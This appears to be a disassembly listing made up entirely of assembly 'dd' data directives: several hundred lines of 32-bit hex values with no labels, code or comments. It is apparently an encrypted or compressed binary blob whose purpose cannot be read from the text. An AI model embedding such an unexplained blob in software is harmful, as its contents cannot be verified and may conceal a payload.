dd 0FE3ADE6Bh, 365887E9h, 0FCF538A5h, 0A0128AAAh, 12C59896h
dd 0AF17B660h, 0B9C80153h, 0C14002Bh, 0E9736FAh, 4802DB8Ah
dd 0F1FCCCF3h, 39915EE3h, 6AF78009h, 956294D5h, 9091C35h
dd 0FEB8FF68h, 3F951639h, 397F2586h, 0E92BB105h, 9918D870h
dd 0C450812Dh, 6EB5810Fh, 99B3A308h, 76386985h, 0A8E0A24Bh
dd 183F00CEh, 50710DF2h, 6BB8F64Ah, 0D50A1D25h, 30270637h
dd 626774C1h, 0EFF4B4DEh, 1C85D97Fh, 0B492BEBBh, 8E7BF278h
dd 7E2D1C50h, 0D14ADE41h, 61370630h, 0FE367B5Ch, 4BD6BE82h
dd 8127E55Dh, 0DA273F43h, 0C94530ABh, 615901F7h, 916D33Ah
dd 4A1B79E1h, 950105C0h, 8AAA1275h, 29EF1E11h, 0DC2F0AC8h
dd 802D13BBh, 7BD6F536h, 758C0593h, 0AAF98B03h, 5EE21499h
dd 82C5169h, 8110F582h, 0B700FEF7h, 1532739h, 971D6DBDh
dd 0DCE80954h, 0C6DDE63Fh, 15DF243Bh, 0C43C161Eh, 0B3CEAAF4h
dd 0D7059D17h, 0E9DA7162h, 25102FE0h, 143119B0h, 5A30C161h
dd 6BA70DAh, 81F00D30h, 30ED47EAh, 8912140Ch, 0B887E595h
dd 0F964FE9Fh, 2438C604h, 0E6BE9A85h, 9EA29213h, 0C22B580Ch
dd 0C8BFF01Ah, 5C4D3886h, 122D955Ah, 5003A5C4h, 81D0033Ch
dd 2E45B33Ah, 474A8419h, 2723092Dh, 4C72D9E9h, 77C88B24h
dd 0BBC0CD17h, 0D63C4003h, 0EDE1C14Fh, 0FAF5BC32h, 24912C4h
dd 27F80505h, 30CE19Ch, 4D208DD1h, 8ED4D2Eh, 9B11288h
dd 0A6F26412h, 0C4831670h, 519B3104h, 1094208Bh, 0B0A98114h
dd 59B56014h, 90C3C033h, 20F12415h, 522464BFh, 25BDE3BAh
dd 7E427768h, 0D2FC7C55h, 2086B8Dh, 7DE4ED82h, 0A7C8D34Bh
dd 0D5E20072h, 8D94B09Eh, 0F13A284h, 0F5F92786h, 0F70EBAC0h
dd 2D076DF3h, 5D3C0A1Eh, 0D1DBB930h, 0BC017F0Ch, 0E5F14287h
dd 6FE16643h, 11E3C425h, 5E587107h, 0C6D1F3B5h, 226F6433h
dd 0A4D96891h, 0FB1D0811h, 0F9C3801Ch, 5A2A5B1Bh, 0CF0C5990h
dd 383234FFh, 1480F9FBh, 0ABC381FEh, 6F79F30Bh, 375CB81Eh
dd 0CD979CBBh, 0BF86495Eh, 22883A1h, 1904B32Dh, 455D890Fh
dd 0E8EC00BFh, 0A7B25229h, 1E7C8400h, 35411ACBh, 32AE00BDh
dd 60161C89h, 5903F857h, 6A4C281h, 4061DAD9h, 48C0E85Dh
dd 194887AAh, 9CB0FA09h, 19444052h, 0B2960E9h, 719B0143h
dd 2421161Dh, 0E6B70A40h, 4B31CEh, 36C38FC6h, 0B9668CEEh
dd 0E9A1E809h, 7D6C297Dh, 4CC08651h, 0F8650Ch, 0CBB993B5h
dd 9D520FAFh, 0D99A9E00h, 3B4599A8h, 75E833h, 0D211DF43h
dd 0B0D5C9A6h, 9BE3F33h, 0FF210042h, 8B24D209h, 46001420h
dd 1C93BA4Ch, 99464B5h, 5DA134E4h, 0B220D287h, 108ED8D2h
dd 4930A2E8h, 0DE8D813Fh, 0F9B80708h, 559F900Bh, 0F430CAEFh
dd 0B975183Eh, 7F66707Ch, 377402ABh, 6FA3DFD4h, 91819383h
dd 0A5954100h, 8F100F73h, 66F4EED2h, 219D08FEh, 738D3700h
dd 2F4871C0h, 5847031Eh, 6975FB20h, 0D995ECF8h, 8C7BCB28h
dd 3BB1121h, 0BCF5697Ah, 59CB1001h, 92284AE9h, 0CCBBE0h
dd 3B91C3E6h, 0DA5E528Bh, 89E1A600h, 6F9B065Fh, 0E89D00EEh
dd 0CBCF7FF0h, 0D6005DA2h, 0D02B9EE2h, 0C14C50h, 0CDE6C772h
dd 1328F5F8h, 129DB900h, 0C8ACAD7Ch, 0F2CAE664h, 4B970FB8h
dd 74405019h, 9A09AF16h, 6D2A0300h, 0B9DDA31Ch, 2F9503DFh
dd 1B7243B8h, 0F88756A8h, 0A5E9540Fh, 0E0403DDBh, 76D928D1h
dd 6B580052h, 0BB14B950h, 9A001D2Eh, 0DDA15D83h, 756FE037h
dd 667601D8h, 87B5FE58h, 66DF44Ah, 7170F776h, 74BB361Ch
dd 2088DF0Eh, 820CECA6h, 2B62181Bh, 0F7F54884h, 0DE108F0Ch
dd 3ABC2876h, 307A7A74h, 0A0110599h, 4B0BFEC6h, 86D9A31Bh
dd 6B08CB31h, 7C0021A9h, 5435E0FEh, 939BD81Bh, 0C02AEA19h
dd 0BBCFF5h, 0BF7DBD7Ch, 8AA83CC7h, 4D3F2301h, 0AF886B74h
dd 675E0ACh, 897215CFh, 20685400h, 2BC4FC85h, 9F366B9h
dd 34022186h, 0B6262050h, 7B564144h, 875B1982h, 8480B776h
dd 0BF4C4B74h, 18D130A1h, 87201D6Ah, 881163FCh, 20523200h
dd 0E0D1F44Ch, 8F6B711Fh, 178DBDC3h, 5800CCCAh, 0AAF499FCh
dd 0E1634700h, 0DD7E67FFh, 416C001Bh, 0CAB3574Fh, 7F1F6B14h
dd 0FE80B137h, 0CD6EB725h, 1C431DDCh, 0EAE2CC7h, 57008083h
dd 0F7F16114h, 0BB6D6B00h, 58EC465Ch, 9B110078h, 0EA5373A6h
dd 5A00852Ah, 8CE0C309h, 0F3FD79h, 0ED452315h, 0A409D14h
dd 3C329Eh, 7D12449Fh, 39C6C725h, 0D0866BE0h, 20ADBCF3h
dd 0B4371403h, 0E0AAFD7Ch, 61044E9Dh, 76999EF9h, 0EF6270D3h
dd 0FC325106h, 7748F226h, 4B43B29h, 79107ABEh, 0D16B0617h
dd 0F079BD1Dh, 26290FFDh, 8963486Dh, 9302030h, 215D2198h
dd 803E1D26h, 9093C07Ah, 1CCDE3Bh, 0C1705B06h, 1FD1DB99h
dd 80E65CD1h, 0F9FDFAC0h, 9F029A90h, 5FF8B066h, 463400C2h
dd 267E608Ah, 8C4DDB39h, 0F9861AFCh, 0A7B320F8h, 0B0C03703h
dd 10AC6FD8h, 109D3E10h, 99009C73h, 8DB9A4DDh, 0BE00CE36h
dd 1613D6A3h, 3B2DF711h, 7D0B7Bh, 6E8DF3B7h, 0AE6ABD27h
dd 540D8E01h, 7A01B87Ch, 0EEF2EFF0h, 0DFF174E9h, 8E670C28h
dd 0C8796B19h, 0CF7B871Fh, 0CE909844h, 81880501h, 0B03180EBh
dd 80A1620Ch, 1F39DFFCh, 72660CA6h, 217B5311h, 2E130F00h
dd 7DA31144h, 2BB100ECh, 0ED9C86Ch, 391E1B36h, 6946BDC7h
dd 1981AFh, 8DCF1E2Eh, 9064B8CDh, 0C4F851C0h, 4612FFh
dd 3BFB351Fh, 99724AD7h, 0DF18100h, 516C68F9h, 4857601Bh
dd 75EE3010h, 2041FF6Fh, 0B8E994A4h, 0DFF70ED5h, 1F809560h
dd 0BFC57536h, 0F90121E2h, 0B2D53BC0h, 5881AA85h, 70EB7915h
dd 0A8F0B3F3h, 800BCA7h, 6BB5FC73h, 0CDDED61Fh, 0E1E0C140h
dd 367EC0Fh, 9E7D4E91h, 0DBA3FD81h, 0D042C7C1h, 600273Fh
dd 0C8A3D7BBh, 2682D5E3h, 0D097034h, 18A1EAh, 9BFB238Dh
dd 0EE77BD0Fh, 0EF610EE2h, 9F13019Ch, 2883BA6Ah, 9AFDD47Dh
dd 0E60F6100h, 67C1B545h, 27053F2Bh, 0A3EE2E00h, 0F30CC4CDh
dd 7CA47206h, 1930B506h
dd 28B643FEh, 0C13E080Dh, 7C97BEAEh, 9D4DC86Dh, 7B78A460h
dd 65378D3Dh, 2104D1E9h, 8C83631Ch, 0C06DD119h, 991F0010h
dd 0E62AC6BDh, 99C0B46Bh, 0DB1A1777h, 0F8A33BD6h, 0A31075A9h
dd 40DC445Ch, 739638B6h, 0D0011EB4h, 83C34728h, 20F1363Dh
dd 0BF1B7D1Ch, 86DBBCC1h, 38805627h, 0FA82A979h, 627D65DEh
dd 0EF40B1DEh, 7F6BCE3h, 42380EAEh, 5480CD6Ch, 76B9106Dh
dd 926250C6h, 0AEDB0308h, 7770CFDDh, 3D6C8CE0h, 0C5187967h
dd 0BF132600h, 9B603065h, 76C44F78h, 9A017900h, 12DC5817h
dd 66402839h, 0FF9F22A0h, 33E0E0Ah, 6E03983Ch, 0D09DA837h
dd 5C9A4CC5h, 0EC005998h, 0ACF8E661h, 8C186B8Dh, 7794436h
dd 0F52819B7h, 176449EDh, 62F8ECD0h, 3025FE7Ch, 0FAF17A63h
dd 0A2077156h, 8978A327h, 0B8C43371h, 0A07BD2FCh, 38C58B4h
dd 3883509Ch, 0F800203Ah, 45A54B5Ah, 0C8BC47h, 7CE34A57h
dd 0E86C9596h, 12D4DC09h, 254420A4h, 17A660Eh, 3E5A679Ch
dd 0F8C29B69h, 7C003CACh, 3DBDE110h, 60E06D90h, 49D810AAh
dd 0C52A91D5h, 0CD00B8B6h, 3CF3AE20h, 0A8662887h, 75A47FCh
dd 9998640h, 0E60EC1CFh, 5467DCA0h, 24D8E0Bh, 58150AAEh
dd 2C783832h, 7D0762D0h, 3DF6B66Fh, 8E775A11h, 1E76A960h
dd 284DE6A9h, 0FD3F0AA8h, 849152h, 22B14A73h, 0D10088ACh
dd 480F1ACEh, 0E8C6F4h, 775B7863h, 0FA1CF7CCh, 0A83BAB7Eh
dd 0E7CF8075h, 1B22B098h, 726F06B3h, 489938AFh, 9CB13E00h
dd 0E7A7BFF2h, 0C8750096h, 7C6040D7h, 31019203h, 0CB1172DCh
dd 38805FD3h, 44798DBAh, 8C00E5C4h, 4F1039BFh, 0C0F5B89Eh
dd 0E242251h, 80F991EEh, 29311C20h, 787BD7ABh, 197803BCh
dd 9BF5A2F6h, 8951311Eh, 4B071047h, 3370CD57h, 9B37FEh
dd 86FDB916h, 7EFF5A41h, 0A0773A33h, 581FD498h, 5856C982h
dd 3A006374h, 18BD8102h, 0C90E70Ah, 0B4C3F5F7h, 0BB30FF68h
dd 80FE3188h, 7A4C058Ch, 40C37108h, 6E57C7ACh, 7F01E68Eh
dd 0FDF697BCh, 0CC30D94Dh, 0B480032Bh, 0AF71AB7Bh, 0AC8F3000h
dd 70F836D6h, 6F260006h, 9B31E098h, 41001604h, 9367E62Ch
dd 0EA13037h, 7FD81D32h, 63D06E83h, 2AE892DBh, 0FC19F752h
dd 8F085A02h, 6FB82180h, 4101ED92h, 8C1D0C00h, 1971B418h
dd 674C00CBh, 4D734842h, 30C01F4Bh, 0BF2F1283h, 9FA5039Dh
dd 17AD7F1Ch, 6DF60818h, 445920h, 6215FBBFh, 0D83699F0h
dd 0A7133703h, 0A85FDA0Ch, 76C5A54h, 3D7F86C7h, 85F380DDh
dd 0F90FE732h, 181FF0F8h, 106C6E88h, 1420291h, 83FC5286h
dd 9B70DB32h, 0FA8C07C3h, 779106h, 0CF691859h, 0D26A9700h
dd 8913C995h, 4E8302FAh, 8AC82086h, 223209Ch, 0D0B50105h
dd 8051BAA4h, 330E32D0h, 12D85338h, 0E1E5E54h, 6F8C5FCFh
dd 4B481121h, 0C4A90075h, 0BF25B9F8h, 0C93330CCh, 5604A5B8h
dd 7F9AA61h, 93F4D9E6h, 989602F3h, 17D1C37Eh, 83C6D8A0h
dd 0FF6F3B6Fh, 0D0F00058h, 67949DFh, 7151FE96h, 0D6008BEh
dd 0DFC83F21h, 0FFA90555h, 4F86CFF0h, 906E39Ch, 0A407A073h
dd 64DD67A3h, 0B514B4EAh, 0D0B88284h, 357490CEh, 21D8EE38h
dd 8B915FC4h, 384D1700h, 8139C21Fh, 0E7DDE10Eh, 58F5CC0Eh
dd 1B6E08F0h, 0C9111C83h, 12383687h, 88314CD8h, 0FF4E3011h
dd 0D52976D0h, 17DD2500h, 6569F37Ch, 8260005h, 0DC95851Fh
dd 0A4A090E9h, 0A57852D3h, 10897131h, 0A441427Dh, 6C08820Bh
dd 11DFFC8Ch, 88CE7948h, 0C93E80F7h, 6BEA05DFh, 3072FB00h
dd 71CE1FD3h, 55E4019Bh, 0DCC3327Eh, 793183FAh, 388913Dh
dd 28F04DF8h, 0D7A038A4h, 12459993h, 30D38402h, 66113848h
dd 85883CD8h, 38202E80h, 0EEDA59h, 89BE945Ch, 75D80278h
dd 682FDD24h, 0A4A5D101h, 282592FEh, 0F05746FCh, 1880A079h
dd 0D678078h, 0A06D3532h, 4DD70038h, 14247D5Eh, 1424E42Eh
dd 50874411h, 4A2AA292h, 0C5106431h, 9A1E9268h, 7830122Fh
dd 56B8E0h, 1ACA9D34h, 0FEEBAD70h, 0D2C34B05h, 0C422834Fh
dd 0DF963069h, 26794B08h, 40F564FAh, 43DFCE3Dh, 1A600082h
dd 941BC2D6h, 2A0939ACh, 0E2D499h, 0DAB3F370h, 3DC305B7h
dd 0DEB9D25h, 7E087CCh, 68840958h, 95DB010Fh, 0A0411C05h
dd 5434AC4Ah, 5A9E13F3h, 0C81EDFh, 71142D82h, 89019B17h
dd 0D44163F2h, 54C11108h, 0FA99F841h, 2FA33300h, 8A590E1Bh
dd 41B3E210h, 598034B8h, 24936B2h, 1503B106h, 7D591C79h
dd 0F997C91h, 7CB073BDh, 9468F3C0h, 33282C38h, 79ECE031h
dd 7D0A3091h, 9D58E080h, 0F4918432h, 42186471h, 8ADCD312h
dd 55391004h, 0CECC0812h, 201A5080h, 6CFEE336h, 4780D1F5h
dd 0CB4FF2Ch, 6E1C1A02h, 86744190h, 5167D017h, 0A706F03Ch
dd 0DC389DB2h, 85D930C9h, 580D1781h, 0F3EFEC1Fh, 0B082F104h
dd 8288B4CEh, 65DA5BC0h, 0E8185055h, 8B990A06h, 4F45876h
dd 42DD1ADh, 0C08E7DACh, 0C8C08188h, 4CFBA83Fh, 7826D604h
dd 405BC430h, 0C6A72541h, 18A37449h, 287A91D4h, 0F2019E96h
dd 0B2A24C71h, 9441D82Bh, 0B833D0EEh, 0E03086E2h, 43091D0Bh
dd 40FB923Ah, 42AEDD94h, 0EA3A69F0h, 0B4CB008Ch, 34D6C02h
dd 6F542646h, 18D25144h, 35380849h, 8AC424D8h, 38413340h
dd 0DF000C72h, 5CE5DE54h, 7DD8A91Ah, 9CB2ADh, 60C9736Ch
dd 0FBEBAE1Ch, 0D890C850h, 0E6C55A89h, 243D67E8h, 6264849Dh
dd 884318FCh, 2044CCBCh, 9234048Ch, 626A2A36h, 6CB92090h
dd 7948F492h, 78E3019Ch, 4C67063Ah, 0CBFA8889h, 828F4082h
dd 6AA0803Dh, 0D025B78Bh, 9A774800h, 0F03B75D1h, 33871268h
dd 3C9004F4h, 8B440E73h, 4C90B14Ah, 5DA50070h, 0F78890E7h
dd 0BF415880h, 393D0FD5h, 4C85F871h, 209C936Ah, 0C165DBD0h
dd 2A58204Dh, 4F463474h, 97BF4502h, 25312FA5h, 425F2180h
dd 0D9D248BFh, 44050712h, 0D999C00h, 7960FA0Eh, 90F14CA9h
dd 3490F500h, 4A1ABED7h, 0F412F69h, 12AB080Ch, 24E85FA8h
dd 72040878h, 0D8C0519Fh, 2580478Bh, 2BA9071Eh, 0F323FD12h
dd 0D10059C5h, 0B49D5CD4h, 0E0BB7Ah, 9E35280Ah, 0C327AC41h
dd 6553FE00h, 1C13F10Dh, 0F28A0085h, 524B254Dh, 0BE30157Dh
dd 0AF83B08Ch, 1D7814D9h, 9E00D156h, 48EAFC96h, 35186561h
dd 41401291h, 0C5B630DCh, 9F3C8758h, 0C2FD3833h, 3D359046h
dd 489060h, 87C9ACC3h, 0E57C5DF2h, 0D825E1C0h, 14060CBAh
dd 90230389h, 5ACB1479h, 0AC828C1Eh, 0D30094B9h, 5D3F06B4h
dd 19064CE2h, 606F2D0Eh, 505E720Ch, 0FD4A5982h, 0B2E74180h
dd 0DA753725h, 9857A498h, 88FF01FCh, 0AFF0F8FAh, 6DE8E8D2h
dd 0AC9F1E81h, 0D0683041h, 1D38F52Fh, 0A6EE044Fh, 79017FFCh
dd 0A682A905h, 0E80F8080h, 0D353C073h, 0C4B374Fh, 0E6D3D7Fh
dd 0E23E3220h, 0AB6F940Bh, 6674E720h, 6BC1E762h, 41C6481h
dd 0B8AA4620h, 5AC2A74h, 0A3512484h, 9D411158h, 6009BF97h
dd 1158317Fh, 0BF206D10h, 86337103h, 0E8C5EBE9h, 0ADD2EA8h
dd 0F9FD65D7h, 8908388Ch, 0B4020C84h, 95483A64h, 6DF78834h
dd 2B7DA960h, 150803B9h, 0C14A6927h, 3FAD210Eh, 2F5520DCh
dd 0AA60F2h, 0F9700E33h, 23F595D4h, 0CC16CC90h, 0FC04527Ah
dd 851F6FFCh, 108FA60Ch, 4471B480h, 7C2459F5h, 958E0493h
dd 630E988h, 10397008h, 125D6DDCh, 0C0234B20h, 0A026DB6Ah
dd 67CC46h, 3593CA0h
dd 0F2AE3013h, 1FA4B403h, 274A7Ah, 308AF31h, 89B52264h
dd 9A53DB00h, 0C8A734B6h, 26489836h, 11B81C57h, 92518047h
dd 8C622A35h, 0BE5544h, 82CA9269h, 2195DA4Ah, 7C801450h
dd 3062D5Ch, 5604A47Dh, 48C032E9h, 53304160h, 2A331392h
dd 1408BB2h, 0AD926BD4h, 0C053BE4Ah, 0E0F5BB68h, 8F9676h
dd 121F9DBAh, 98BF4E5h, 0BF88920Eh, 38A90733h, 0ED0401B9h
dd 3820E690h, 46048C20h, 17A5BABFh, 72202962h, 1204BF23h
dd 8BF8D9C8h, 0C08FC888h, 0E7F18A0Ah, 3688FD64h, 54410B4h
dd 0CAB2CCCh, 421C806Fh, 4938399Ah, 4F56005Ah, 8CA8D096h
dd 9D2500FEh, 0C2AC2A28h, 189A7DD1h, 9D397F3Eh, 503F95D5h
dd 9918AAB8h, 0EE68FBB0h, 744A5829h, 6702DF22h, 3DEF2523h
dd 0B9C84888h, 42A40B1Dh, 84DA7Fh, 38206795h, 9C6CD854h
dd 4A145868h, 12553800h, 361A9B27h, 3EE70E56h, 0E606487Ch
dd 195CA0CDh, 8C84E82Ch, 0E4820700h, 27E35502h, 5EA70BB8h
dd 8AB2C7Dh, 5AC2AC01h, 0A0B0F402h, 0C4410D26h, 0A0E53642h
dd 25E230B0h, 0CCF600A2h, 8D87673Dh, 77705CE8h, 0A8CDCB09h
dd 4694447Fh, 926A021Eh, 315A2A48h, 0C8C3137Bh, 1D52992h
dd 1CEDE62h, 85FE7FF1h, 0A0D16980h, 9123282Bh, 0C061880Fh
dd 246BDEF1h, 947F3059h, 40A9E821h, 0D35CC4B2h, 0B022358h
dd 5C0BDFBBh, 5816540Bh, 0DFD31007h, 0E010A84Fh, 1A53B55h
dd 82E67753h, 80E38499h, 12923F58h, 7FAF75Ch, 263D4106h
dd 6DA6C05Fh, 7004AFFFh, 57C4FE2Fh, 990758C0h, 202100B1h
dd 0D653FB83h, 7E00BBD1h, 0DEAE455h, 0C13AE389h, 13623F40h
dd 0D058A665h, 85D9D100h, 246472CFh, 5EC84842h, 806DF421h
dd 8A975644h, 88110D46h, 0A3008FD9h, 1D4F474Bh, 89003751h
dd 6D1E491h, 0F11118h, 82695B78h, 92A73A67h, 7C7E28B8h
dd 16F03880h, 4BCE6A3h, 85279D24h, 0C83CCBA8h, 900BC091h
dd 8000BED5h, 0DFEECA5Fh, 50D3DB17h, 125485BDh, 8E2E2D6Ch
dd 0C0F7883Ch, 140BB49Ch, 77B58A00h, 6A96D35Bh, 0F16026C9h
dd 166F6090h, 64EE699Eh, 6156F007h, 12146676h, 4D827780h
dd 0FD7D0996h, 4893892Eh, 0D9BB01E8h, 1E31950Fh, 88AC810Eh
dd 1021E04Ch, 6FBCD838h, 1F70008Ch, 85E495D1h, 8A24FBDDh
dd 0DB1CDC3Ch, 0A883DFC3h, 461EEC48h, 9007A57Dh, 0CE159514h
dd 4330590h, 20C8563Eh, 0B6200C7h, 4FB41D8Ah, 7B006807h
dd 23DFE753h, 0B6544Ah, 88F71091h, 767482C4h, 4ED81700h
dd 0BF7C52D7h, 8BD14DFh, 0C1FE04B8h, 2CE1416Eh, 0A3630847h
dd 7200053h, 0E5345CFAh, 3D009E54h, 0D7505EF4h, 77F298BDh
dd 0F6003E1h, 5BEF0737h, 4622921h, 4952FA8h, 915E6322h
dd 8562159h, 0F6882EB9h, 0C5EA8862h, 84365A88h, 0A94F789h
dd 0D408281Ah, 294E9861h, 68EEA019h, 0B746A51Ch, 9E64C280h
dd 1FF70BDEh, 0D2923606h, 735500EFh, 0A19FBDE3h, 3A59A600h
dd 4776230Dh, 0C8EF00E8h, 0AC94D264h, 0FC07072Bh, 0F6B8E32Eh
dd 0E73847BFh, 6B95606Eh, 7C224297h, 689A00C4h, 665B7D02h
dd 0F38B750h, 2A0E7352h, 8FBAF3A7h, 0C324A0CCh, 0C0A998h
dd 5B436EBDh, 0AFC168BEh, 10856D00h, 8FE4312Dh, 0DBA328C4h
dd 0FA3C00A1h, 3E406116h, 6800703Ah, 0F7C60C43h, 0A8C9A919h
dd 7F80D4E4h, 76D70D2h, 0B9640AA8h, 0BBC6D0BDh, 35004A5Ah
dd 0D77A076h, 707A64Ch, 0D7AD23B2h, 0C78BA398h, 3EC233F8h
dd 6CE16024h, 5CAB0581h, 16601314h, 3C7CA018h, 9E901EBh
dd 0A86ED25Eh, 0F9E370D1h, 910B4800h, 2BC4DAA9h, 77D80001h
dd 3B31D70Fh, 0AA00F315h, 5835EB04h, 2400C30h, 0D699457Eh
dd 360B125h, 0ECF996F9h, 6D000926h, 8A4DADE1h, 0F415BEh
dd 0C1771BD8h, 69D2A364h, 40A4AB00h, 6F66DBF7h, 0AF727Ah
dd 0B1B33445h, 874CA0F4h, 9600D171h, 0CACFC8D5h, 392FA09h
dd 7FF3C438h, 40CBF2A5h, 0CC288EC8h, 4170AE1Ch, 0F3D5B7C0h
dd 6E561Eh, 607A3E05h, 0A93FA2D6h, 8CBCC128h, 27D7E900h
dd 8676755Bh, 0D4120CBBh, 168C4E6Eh, 84622B00h, 2C59DE7Eh
dd 6F4D00F4h, 0AE95171h, 0B00331Dh, 0F87F7897h, 1267E334h
dd 4037FB9Ch, 59E20830h, 0E51D3A94h, 47803418h, 0ABF8D77Bh
dd 2BD30082h, 66C96730h, 1014A49Bh, 59C6CFFh, 62F1F6C0h
dd 24AAFC68h, 38CB44h, 0BC30D681h, 20907AF8h, 488797Ah
dd 6DC30411h, 804BBFBEh, 0F02F75BAh, 81EB5907h, 0CF3096A4h
dd 3EC2F38Ch, 0AE1DDB03h, 0C890CF48h, 0CE9BD602h, 6CD1D880h
dd 4F48F92Ah, 4C2212C3h, 230C8C00h, 0C04EB560h, 0F28B91B0h
dd 18390E61h, 175180B6h, 6AD6D2EDh, 0A89D00D9h, 5336896Ch
dd 0A600C87Bh, 56F7B061h, 0DF18FD26h, 0AF1EC0D8h, 0AB8D57C5h
dd 7E7B0400h, 7590655Eh, 0D95500A0h, 0E506ED9Ah, 0C407EB7Ah
dd 28765751h, 221FE4A0h, 0B88A0010h, 68F8DA13h, 0FD00957Ah
dd 0F297143Fh, 0FBD3F9h, 0CE5B5C47h, 211DE7A2h, 13A0B500h
dd 0B619618Ah, 82150028h, 0A2D22A75h, 7D01DC1Ah, 0AEABE20Dh
dd 60FAB409h, 75FCA4h, 1B61DF91h, 0E2C6782Ch, 0B0220302h
dd 0C0C8998Ah, 52F644h, 0E1BF25F7h, 0CABB78ABh, 9564DE00h
dd 0F6C7412Ah, 432D000Ah, 0B5101C8Eh, 6E00A6D8h, 4BDD6CB1h
dd 0E5C3E54h, 0FC9E5FF0h, 637D2DA0h, 0EC09DB25h, 806816F7h
dd 0B93B7B53h, 4B6102C6h, 0C1B440C9h, 836C5868h, 64385Ch
dd 0CA37DDF2h, 346197Dh, 31AFD232h, 0DEF8A385h, 8100904Bh
dd 6096F3A6h, 0E8CA9D44h, 1D7009Ch, 0E5F9AEFh, 3E16B972h
dd 244086A5h, 0B6FB4FFCh, 9028C07Ch, 14B0CFABh, 20C7D531h
dd 5822A9C5h, 0CC1C10h, 0D46A596Eh, 87B44Bh, 7438BF45h
dd 35ED9DA2h, 8030123Dh, 774F5722h, 0BCB354h, 37BBFC44h
dd 0F50FFAA3h, 92008B79h, 645AE09Ah, 42E4306h, 4E32275Fh
dd 2FCC0E9h, 0A70069A4h, 0AC868903h, 0D87BC1h, 2765719Bh
dd 63E0F344h, 0BF19E426h, 93A60B00h, 94CCF0h, 0F1AC72E8h
dd 0E41A2992h, 0B3785E03h, 0A3C225h, 2C547E19h, 0ECD29399h
dd 9D8A80Eh, 53EA003Eh, 0FE8A47C6h, 0D7AF0005h, 34C825E7h
dd 754C1DB0h, 71060079h, 85DEFCFEh, 22864C44h, 0F0B83F00h
dd 0B93C117h, 81CB9C1Dh, 16DEB0D8h, 0E72B00DDh, 4441BD7h
dd 1200D6A3h, 65063B20h, 1AFF33h, 0DA0DEE35h, 92F61893h
dd 3B005BF8h, 0C2B18919h, 0D46CEFh, 64465704h, 798D2F47h
dd 712AA700h, 0F092E94Ah, 726C0193h, 62A3419Eh, 0BE062033h
dd 12F29A00h, 0B38C5FB6h, 8D6A2697h, 4F1500D9h, 5EF85059h
dd 289A7F01h, 0F163143Ch, 0C872CCh, 0BC99C58h, 96EA15BCh
dd 5E1AC101h, 1F3456FFh, 0CB1C20h, 29C64E1Bh, 5752FFAh
dd 0BE46001h, 0E9F33E6Ch, 5D02830h, 40FB497h, 0E4A40084h
dd 0EE40C1A2h, 8E274E00h, 2F0283D0h, 9B110076h, 8B495EB0h
dd 9FFB58F3h, 15D6C7FCh, 0C479D700h, 4C405EA2h, 88018434h
dd 6C44C510h, 0EC4C352Dh, 8D00FDACh, 72DD4A29h, 0E6ECEA2Fh
dd 2E0100A3h, 3AAB38FAh, 36261ADBh, 0D300D8BDh, 99702CD6h
dd 88F20033h, 23D7A952h, 3A486627h, 0C9ED00C4h, 0E409D3FFh
dd 5B58BFE5h, 0DC293B00h, 0F59F50B2h, 4B1E0005h, 0DEFD1C6Fh
dd 0EE00BBBEh, 0C54D8DFCh, 6246E8h, 24FB6788h, 4F99DA5Eh
dd 0B873Dh, 9AA8049Eh, 0FE3A079h, 9685FF26h, 203A2281h
dd 57AF0E5h, 5A09C800h
dd 0A94AE3ADh, 80B000B7h, 0A6DD3AB6h, 6CE2CCA3h, 18FACB1Ch
dd 0AA6B837Dh, 80602021h, 224DFFh, 64AEBB5h, 0A87E3DD0h
dd 0A9BA6301h, 33C83946h, 0D72CA440h, 0D45700C1h, 526C6ACCh
dd 3A160FECh, 80520532h, 0B3E1D800h, 17915514h, 20F7DA9Ah
dd 128338D0h, 48DB5E07h, 0E31E5A9h, 0A44050ECh, 691A877h
dd 0F6A0E33Fh, 9605D48Ch, 4821926Eh, 60E72AC0h, 5F130018h
dd 4BE9ED9Ch, 614C79BCh, 0EE850178h, 1FC371BBh, 670A9E60h
dd 0DEDD1862h, 0C6893480h, 0F40E21B2h, 0E065EE4Eh, 0B493C953h
dd 0C4F7566h, 4C9083F9h, 350332A0h, 8BDEABAFh, 0F03DF81Eh
dd 90A80085h, 0B952ACCBh, 21002F19h, 67B12CD8h, 0FED1D2h
dd 0E0C3D5E4h, 0DBC9836h, 78DFC13Bh, 450BF213h, 0D02C1803h
dd 6594D058h, 0B05A3A87h, 12048589h, 0AB1B9000h, 7A613AC5h
dd 0EF582576h, 77CE1C64h, 839944E2h, 4C107F58h, 73AB0000h
dd 9EDF3011h, 41FF0E77h, 2DC057B3h, 61C0E842h, 63489090h
dd 901A24A9h, 854E5A00h, 18DEA24h, 0FE0522B7h, 0CC82DCDBh
dd 5009E313h, 80BE09BFh, 0DEA08EE4h, 7CA90029h, 42F9CF83h
dd 2039AACh, 690A4E78h, 8066BA1Ch, 26D6B4B4h, 5043E8EEh
dd 29D2B2h, 0C1860450h, 0EDA85ABFh, 0E9D04900h, 6191E102h
dd 1070009Bh, 45F2C30Fh, 0C01C2DBBh, 3E814A04h, 740A3499h
dd 9697EE8h, 0B0DA8614h, 6DCFE780h, 2705F1DBh, 0F0E5816h
dd 680A60C0h, 0CA661C56h, 88680D1h, 3E2D617Eh, 5AD0D40Dh
dd 71ECD093h, 3AA79049h, 8100584Ah, 0BEA68A46h, 2003E25h
dd 43F6FAA7h, 0FE40743Fh, 2C080E63h, 2260F4F0h, 91E22347h
dd 29B67A03h, 0D0EED95Fh, 72FB85h, 8E0DDD28h, 387EEA44h
dd 0CC1D2200h, 6AB081ADh, 0E9CB284h, 0C3DA55BFh, 0CAF9D60h
dd 0DC1CC9E6h, 61C6B6ADh, 728F6F9h, 0FEDBA6A8h, 6D97F0AFh
dd 0D9708289h, 0D2884700h, 53A7FC1h, 0FEA23069h, 0CCDD07C0h
dd 49B94B00h, 2876424h, 88D50558h, 0FEDC5C1Ch, 0E8FA2080h
dd 0B490ADh, 265495A7h, 0D17CA229h, 7301500h, 0F486EDAh
dd 1F8F065h, 0AB1DDE62h, 0C82CD28Fh, 38038A4Dh, 2DB620C3h
dd 1BBEB1FBh, 24821981h, 0F02CC559h, 0C3EE0230h, 2F33C200h
dd 5807CE9Ch, 0D54A0398h, 0BB9E5B0Ah, 414B1E8h, 0EE02C600h
dd 3FABA98Eh, 9801001Ch, 32247E79h, 74050D03h, 5BEA6144h
dd 840790C4h, 3740A3DFh, 499D28Ch, 0D9191481h, 0F9648009h
dd 0FB07647Bh, 1E0A5497h, 0BA9B4AA3h, 43A8504Ch, 9E7E1F4Dh
